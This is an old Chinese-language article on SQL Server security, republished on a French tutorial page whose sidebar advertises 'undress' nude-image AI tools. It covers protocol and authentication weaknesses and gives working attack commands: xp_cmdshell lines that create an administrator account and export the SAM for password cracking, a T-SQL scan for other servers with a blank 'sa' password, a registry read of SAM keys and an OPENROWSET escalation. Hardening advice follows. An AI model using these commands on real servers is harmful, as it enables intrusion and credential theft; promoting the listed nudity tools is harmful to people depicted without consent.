Maison base de données tutoriel mysql 关于SQL SERVER的一些安全问题

关于SQL SERVER的一些安全问题

Jun 07, 2016 pm 05:46 PM
quot server sql xp

关于SQL SERVER的一些安全问题

BY XUNDI
xundi1@21cn.com
www.xfocus.org

目前关于NT服务器的入侵,有很多种方法,如对IIS的漏洞进行利用,但
大家不知道注意到没有,其实通过与NT服务器相关联的SQL数据库服务器
的例子也是很有比例的一种手段。大家可以参看下面的一个新闻报道:
http://www.vnunet.com/News/1110938。
Herbless入侵破坏的一些站点,如legoland.co.uk站点就是通过SQL服务器
的入侵而获得对系统的控制权而破坏的。所以对SQL服务器的保护是必不可
少的,这里我整理了一些漏洞供大家来参考,见笑,见笑。

----------------------------------------------------------------
我们先来看看SQL服务程序支持的网络协议库:

----------------------------------------------------------------
| SQL Server Network Protocol Libraries |
----------------------------------------------------------------
|Protocol library| 可能存在的漏洞 | 是否加密 |
----------------------------------------------------------------
|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 |
|(有名管道) | 138)来进行通信,这些可以被通 | |
| | 的防火墙控制,但如果内部网络可| |
| | 随意访问的话也是一个不小的缺陷| |
| | --用户名字,密码和数据没有进行加| |
| | 传输,任何人可以通过SNIFFER来 | |
| | 进行数据捕获。 | |
----------------------------------------------------------------
|IP Sockets | --默认状态下开1433口,你可以使用| 否 |
| | 扫描器来查看这个端口。 | |
| | 可以被SNIFFER截获数据。 | |
----------------------------------------------------------------
|Multi-Protocol | --客户端需要支持NT RPCs;在不同 | 是 |
| | 种类的环境中可能引起问题。 | |
| | --默认情况下使用TCP随机端口,但| |
| | 防火墙进行端口图固定实现(参 | |
| | 看KB Q164667)。 | |
| | --需要注意加密选项是否选择,默 | |
| | 是不选择此选项的。 | |
----------------------------------------------------------------
|NWLink | --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
|AppleTalk (ADSP)| --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
|Banyan Vines | --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------

一般的推荐使用是:如果你能在Integrated (NT) Security上使用Named Pipes 或者
Multi-protocol,那你就使用这些协议库,如果可能,尽量使用Multi-protocol
和使能加密选项。如果你上面几个不能使用,那就使用IP Sockets协议,并改变
其默认的端口并随时检查系统保证无任何SNIFFER存在。并且,考虑使用一WEB服
务或者COM组件作为应用程序的business object layer,并在中间层和SQL服务程
序中使用安全通道(secure channel)。有不少第三方的产品可以加密这方面的通信。

-----------------------------------------------------------------------
下面再讲一下SQL SERVER的各种安全模式和它们怎样进行工作?

安全模式定义了一些SQL SERVER是怎样认证要使用它们服务的用户,请看下面
SQL Server 6.5的安全模式和在SQL Server 7.0做了改变的一些描述和区别:

-------------------------------------------------------------------
|安全模式 | SQL Server 6.5 | SQL Server 7.0改变地方 |
-------------------------------------------------------------------
|Standard | --登陆定义在SQL SERVER里| --单独的标准模式在SQL SERVER|
|标准模式 | 而且给定密码。 | 没有使用了。 |
| | --SQL SERVER的登录帐户与| |
| | WINDOW NT分开 | |
-------------------------------------------------------------------
|Integrated |-使用安全管理器SQL的帐 | --在这里成为"Windows NT only"|
|综合模式 | 户。 | 模式。 |
| |-用户在连接到SQL SERVER| --只工作在NT系统下,在WIN9X不|
| | 不需要特定分开LOGIN和 | 支持。 |
| | 密码。 | |
| |-密码从不存储在应用程序| --可以直接结合到NT的组中便于 |
| | 中,并不以明文在网络中| 管理,(注意有一BUILTIN组在|
| | 传输。 | 本地系统上产生). |
| |-SQL SERVER可以使用NT的| |
| | 的认证方式来认证用户并| |
| | 可以使用如帐户过期等。| |
| |-需要Named Pipe或Multi-| |
| | Protocol库。 | |
--------------------------------------------------------------------
|Mixed |-提供上面的方式的一些特| --成为SQL SERVER和WINDOWS NT |
|混合性方式 | 征但有后退的东西是客户| 模式。 |
| | 端不能建立可信任连接。| --尽量使用WINDOW NT ONLY模式 | |
--------------------------------------------------------------------

登录只不过是第一步,一旦用户登录,用户必须访问独立的数据库,要使上面
的成立,就必须在sysusers表里存在一表目给用户用的每个数据库。所以安全
请你注意在你的数据库中是否存在"guest"帐户和保证不会在你不注意的时候给
某些人访问你的数据库。

详细的大家可以参看微软的站点:

http://www.microsoft.com/technet/SQL/Technote/secure.asp


---------------------------------------------------------------------

关于SQL SERVER存在的一些安全问题:

存在"sa"帐户,密码就为空,而且这个密码是SQL SERVER安全模块成员,我们就
可以通过xp_cmdshell stored procedure(扩展存储过程)来进行命
令操作,如:

Xp_cmdshell "net user testuser UgotHacked /ADD"
然后在:
Xp_cmdshell "net localgroup Administrators testuser /ADD"

这样攻击者就成功的在SQL SERVER上增加了一个用户。

当然远程的话,一般需要有1433口开着,通过MYSQL 客户端进行连接。

当然你也可以使用:

Xp_cmdshell "rdisk /s-"

的方法,这样就在winnt epair目录里重建了信息而不提示用户。然后
在SAM备份以后,攻击者可以建立一个SMB连接到共享或者建立一个连接:

Xp_cmdshell "net share getsam=c:winnt epair"

利用共享获得这个文件,然后在使用l0phtcrack来跑吧。如果SMB端口被防火墙
控制了,或者关闭了,攻击者也可以拷贝sam._文件到WEB目录进行匿名浏览器
下载。如果人家没有开IIS,你何不用tftp呢:).

OK,通过这台被控制的SQL SERVER服务器,攻击者可以通过它来查找网络内部
其他机器来扩大战果,下面是一个SQL脚本来列举网络中其他SQL SERVER存在
空帐户'sa'的示例:

-----------------------------------------------------------------------

-- Create temp table to store enumerated servers

SET NOCOUNT ON

CREATE TABLE #temp (shelldump varchar(255))

INSERT #temp EXEC xp_cmdshell 'osql -L'

DECLARE @current_server varchar(255), @conn_string varchar(255)

DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp

OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server

-- Loop through potential targets and check for null sa accounts

-- If target is vulnerable, version information will be displayed

WHILE @@FETCH_STATUS = 0

BEGIN

If @current_server 'Servers:'

BEGIN

SELECT @current_server = rtrim(ltrim(@current_server))

SELECT @conn_string = 'exec xp_cmdshell 'osql -S' + @current_server + ' -Usa -P -Q "select @@version"''

PRINT 'Attempting connection to server: ' + @current_server

EXECUTE (@conn_string)

PRINT '====================================================================='

END

FETCH NEXT FROM sql_cursor INTO @current_server

END

--Clean up

CLOSE sql_cursor

DEALLOCATE sql_cursor

DROP TABLE #TEMP

----------------------------------------------------------------------

当然有些人也可能关闭xp_cmdshell extended stored procedure(扩展存储过程),
我们也可以使用下面的方法:

xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITYSAMDomainsAccount', 'F'

如果MSSqlserver 服务在本地系统帐户下运行,并且如果系统上没有安装syskey,上面
的调用就可以返回注册表中加密的密码或者SID。

--------------------------------------------------------------------------

另一个漏洞,是关于adhoc heterogenous queries 来进行权利的提升,请看下面微软
的描述:http://www.microsoft.com/technet/security/bulletin/fq00-014.asp

关于上面的漏洞,可以使用下面的xploit来获得权利的提升:

SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:"')

这是大家比较喜欢的一种可以执行其他命令,自己想吧。

---------------------------------------------------------------------------

还有就是最近的一个漏洞:Extended Stored Procedure Parameter Parsing (扩展存储
过程参数解析)的漏洞,详细信息在这个URL有介绍:
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。

起主要问题是在MSD中提供一个API函数srv_paraminfo(),它是用来扩展存储过程调用时
解释深入参数的,如:

exec , , ...
如要查询“c:winnt”的目录树,可以如下表达:
exec xp_dirtree 'c:winnt'

但没有检查各个参数的长度,传递相当长的字符串,就存在了覆盖其他堆栈
参数的可能导致缓冲溢出。

目前已经知道的过程如下:
目前已知受影响的扩展存储过程如下:

1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)

给第一个参数传递超长的字符串会覆盖异常处理程序所保存的返回地址。

2、xp_proxiedmetadata (xprepl.dll)

该存储过程使用4个参数。给第二个参数传递超长的字符串会覆盖异常处
理程序所保存的返回地址。

3、xp_SetSQLSecurity (xpstar.dll)

该存储过程使用4个参数。给第三个参数传递超长的字符串会使整个SQL
Server进程立即终止。

4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)

给第一个参数传递超长的串将导致非法操作并覆盖异常处理程序所保存的返
回地址。

这里告诉大家一个技巧性的东西,如果想要知道这些扩展存储过程调用了那写dll
文件,你可以如下操作,如:

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name
= 'xp_peekqueue'

这样你就可以获得调用这个扩展存储过程的DLL了,如果微软没有出补丁的话,你就
暂时把这个DLL文件改名吧,当然有些DLL文件调用几个扩展存储过程,不能盲目更改,
否则导致其他的也不能使用,你需要使用下面的操作来知道DLL调用那些扩展存储过程:

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'

幸好微软出了补丁,你可以到下面的地方找到,不用一个一个找DLL程序了,呵呵:

http://support.microsoft.com/support/sql/xp_security.asp

这个漏洞@stake发现并提供演示的测试代码,大家可在这里找到:

http://www.atstake.com/research/advisories/2000/sqladv2-poc.c

--------------------------------------------------------------------------

OK,当然SQL SERVER也有一些其他漏洞,相对轻微些,如ISS发现的管理员
LOGIN ID存储在注册表中,其加密的方法比较简单,很容易获得,详细情况
请看:http://xforce.iss.net/alerts/advise45.php3。大家可以到其他
地方找找。

---------------------------------------------------------------------

一些对SQL SERVER系统的安全建议:

--保证打上最新的安全补丁,如下:
Windows NT 4.0 - Service Pack 6a

SQL Server 6.5 - Service Pack 5a

SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
http://www.microsoft.com/download)

SQL Server 2000 - Hotfix S80233i.exe (Intel)
当然大家要密切注意微软的安全公告。

--不要在IP sockets使用端口1433,如果你使用Multi-protocol也请
修改端口。

--不要把'sa'密码嵌入到任意应用程序如VB/DELPHI apps里,或者一
global.asa文件里,因为"sa"是SQL Server 的一个默认密码,其权限
类似与WINDOWS NT系统里的管理员帐户,而且密码为空。

--改变'sa'和'probe'帐户的密码。

--保证SQL SERVER的错误记录在NTFS系统上。

--如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
就不要把xp_cmdshell extended stored proc(扩展存储过程) 留在服务
器上。在任何isql窗口中输入:
use master
sp_dropextendedproc 'xp_cmdshell'

--丢弃不需要OLE自动存储过程,当然Enterprise Manager中的某些特征也
会不能使用,这些过程包括如下:

Sp_OACreate Sp_OADestroy

Sp_OAGetErrorInfo Sp_OAGetProperty

Sp_OAMethod Sp_OASetProperty

Sp_OAStop

--去掉不需要的注册表访问过程,如下:

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

--去掉其他系统存储过程,如果你认为你觉得你还有威胁,当然
要小心Drop这些过程,你可以在测试机器上测试,保证你正常的
系统能完成工作,这些过程包括:

sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
sp_OACreate sp_OADestroy sp_OAGetErrorInfo
sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_OAStop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree
xp_dropwebtask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makewebtask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runwebtask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
xp_stopmail xp_subdirs xp_unc_to_drive

--去掉数据库中guest用户。
--关闭SQL MAIL兼容能力,防止传递一些木马病毒等。
--设置一个任务处理来定时运行下面的程序:

findstr /C:"Login Failed" mssql7log*.*'

再重定向到其他文件或者MAIL到管理员信箱。

--经常检查带有空密码的帐户:

Use master
Select name,
Password
from syslogins
where password is null
order by name

--检查所有不需要'sa'权限的存储过程和扩展存储过程访问权限:

Use master
Select sysobjects.name
From sysobjects, sysprotects
Where sysprotects.uid = 0
AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id
Order by name

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Comment réparer l'audio si vous n'entendez personne
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Comment déverrouiller tout dans Myrise
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Quelle est la différence entre HQL et SQL dans le framework Hibernate ? Quelle est la différence entre HQL et SQL dans le framework Hibernate ? Apr 17, 2024 pm 02:57 PM

HQL et SQL sont comparés dans le framework Hibernate : HQL (1. Syntaxe orientée objet, 2. Requêtes indépendantes de la base de données, 3. Sécurité des types), tandis que SQL exploite directement la base de données (1. Normes indépendantes de la base de données, 2. Exécutable complexe requêtes et manipulation de données).

Utilisation de l'opération de division dans Oracle SQL Utilisation de l'opération de division dans Oracle SQL Mar 10, 2024 pm 03:06 PM

"Utilisation de l'opération de division dans OracleSQL" Dans OracleSQL, l'opération de division est l'une des opérations mathématiques courantes. Lors de l'interrogation et du traitement des données, les opérations de division peuvent nous aider à calculer le rapport entre les champs ou à dériver la relation logique entre des valeurs spécifiques. Cet article présentera l'utilisation de l'opération de division dans OracleSQL et fournira des exemples de code spécifiques. 1. Deux méthodes d'opérations de division dans OracleSQL Dans OracleSQL, les opérations de division peuvent être effectuées de deux manières différentes.

Comparaison et différences de syntaxe SQL entre Oracle et DB2 Comparaison et différences de syntaxe SQL entre Oracle et DB2 Mar 11, 2024 pm 12:09 PM

Oracle et DB2 sont deux systèmes de gestion de bases de données relationnelles couramment utilisés, chacun possédant sa propre syntaxe et ses propres caractéristiques SQL. Cet article comparera et différera la syntaxe SQL d'Oracle et de DB2, et fournira des exemples de code spécifiques. Connexion à la base de données Dans Oracle, utilisez l'instruction suivante pour vous connecter à la base de données : CONNECTusername/password@database Dans DB2, l'instruction pour vous connecter à la base de données est la suivante : CONNECTTOdataba.

Explication détaillée de la fonction Définir la balise dans les balises SQL dynamiques MyBatis Explication détaillée de la fonction Définir la balise dans les balises SQL dynamiques MyBatis Feb 26, 2024 pm 07:48 PM

Interprétation des balises SQL dynamiques MyBatis : explication détaillée de l'utilisation des balises Set MyBatis est un excellent cadre de couche de persistance. Il fournit une multitude de balises SQL dynamiques et peut construire de manière flexible des instructions d'opération de base de données. Parmi elles, la balise Set est utilisée pour générer la clause SET dans l'instruction UPDATE, qui est très couramment utilisée dans les opérations de mise à jour. Cet article expliquera en détail l'utilisation de la balise Set dans MyBatis et démontrera ses fonctionnalités à travers des exemples de code spécifiques. Qu'est-ce que Set tag Set tag est utilisé dans MyBati

Solution de dossier partagé Win10 et XP Solution de dossier partagé Win10 et XP Jan 27, 2024 pm 02:33 PM

Sur les systèmes Windows XP et Windows 10, le partage de dossiers n'est pas une tâche extrêmement compliquée. Il peut être facilement réalisé en suivant simplement les étapes détaillées fournies dans cet article. Étape 1 du partage de dossiers entre la version familiale Win10 et . 3. Entrez « Autorisations », cliquez sur Ajouter et entrez le nom d'utilisateur que vous souhaitez ajouter lors de la sélection « Utilisateur ou groupe ». 4. Définissez les autorisations correspondantes, telles que le contrôle total ou la lecture seule, etc. 5. Enregistrez ensuite les paramètres et fermez le dossier. Étape 2 : Configurer l'ordinateur win10 1. Ouvrez le gestionnaire de ressources.

Comment modifier les paramètres du BIOS pour installer le système XP sur Win7 Comment modifier les paramètres du BIOS pour installer le système XP sur Win7 Jan 05, 2024 am 08:42 AM

Lorsque nous utilisions le système d'exploitation Win7, certains amis voulaient changer leur système pour le système d'exploitation XP en raison de certains besoins. Certains amis ont peut-être rencontré des problèmes au cours de ce processus. Concernant la façon de configurer le BIOS du système Windows 7 sur XP, l'éditeur pense que nous devons d'abord entrer dans le BIOS de notre ordinateur via les touches de raccourci, puis trouver les options pertinentes et suivre l'éditeur pour les définir. Jetons un coup d'œil aux étapes spécifiques ~ Comment configurer le BIOS dans le système Win7 vers XP 1. Pour accéder au BIOS des ordinateurs portables ThinkPad et Lenovo de la série VBKEM, appuyez sur la touche F1 du clavier (certains modèles appuient sur la combinaison de touches Fn +F1, et appuyez sur la touche Fn. Maintenez-la enfoncée et appuyez plusieurs fois sur la touche F1). 2.Sélectionnez l'icône Redémarrer

Que signifie l'attribut d'identité dans SQL ? Que signifie l'attribut d'identité dans SQL ? Feb 19, 2024 am 11:24 AM

Qu'est-ce que l'identité en SQL ? Des exemples de code spécifiques sont nécessaires. En SQL, l'identité est un type de données spécial utilisé pour générer des nombres à incrémentation automatique. Il est souvent utilisé pour identifier de manière unique chaque ligne de données dans une table. La colonne Identité est souvent utilisée conjointement avec la colonne clé primaire pour garantir que chaque enregistrement possède un identifiant unique. Cet article détaillera comment utiliser Identity et quelques exemples de code pratiques. La manière de base d'utiliser Identity consiste à utiliser Identit lors de la création d'une table.

Comment résoudre l'erreur 5120 dans SQL Comment résoudre l'erreur 5120 dans SQL Mar 06, 2024 pm 04:33 PM

Solution : 1. Vérifiez si l'utilisateur connecté dispose des autorisations suffisantes pour accéder ou utiliser la base de données, et assurez-vous que l'utilisateur dispose des autorisations appropriées ; 2. Vérifiez si le compte du service SQL Server est autorisé à accéder au fichier spécifié ou ; dossier et assurez-vous que le compte dispose des autorisations suffisantes pour lire et écrire le fichier ou le dossier ; 3. Vérifiez si le fichier de base de données spécifié a été ouvert ou verrouillé par d'autres processus, essayez de fermer ou de libérer le fichier et réexécutez la requête ; . Essayez en tant qu'administrateur, exécutez Management Studio en tant que etc.

See all articles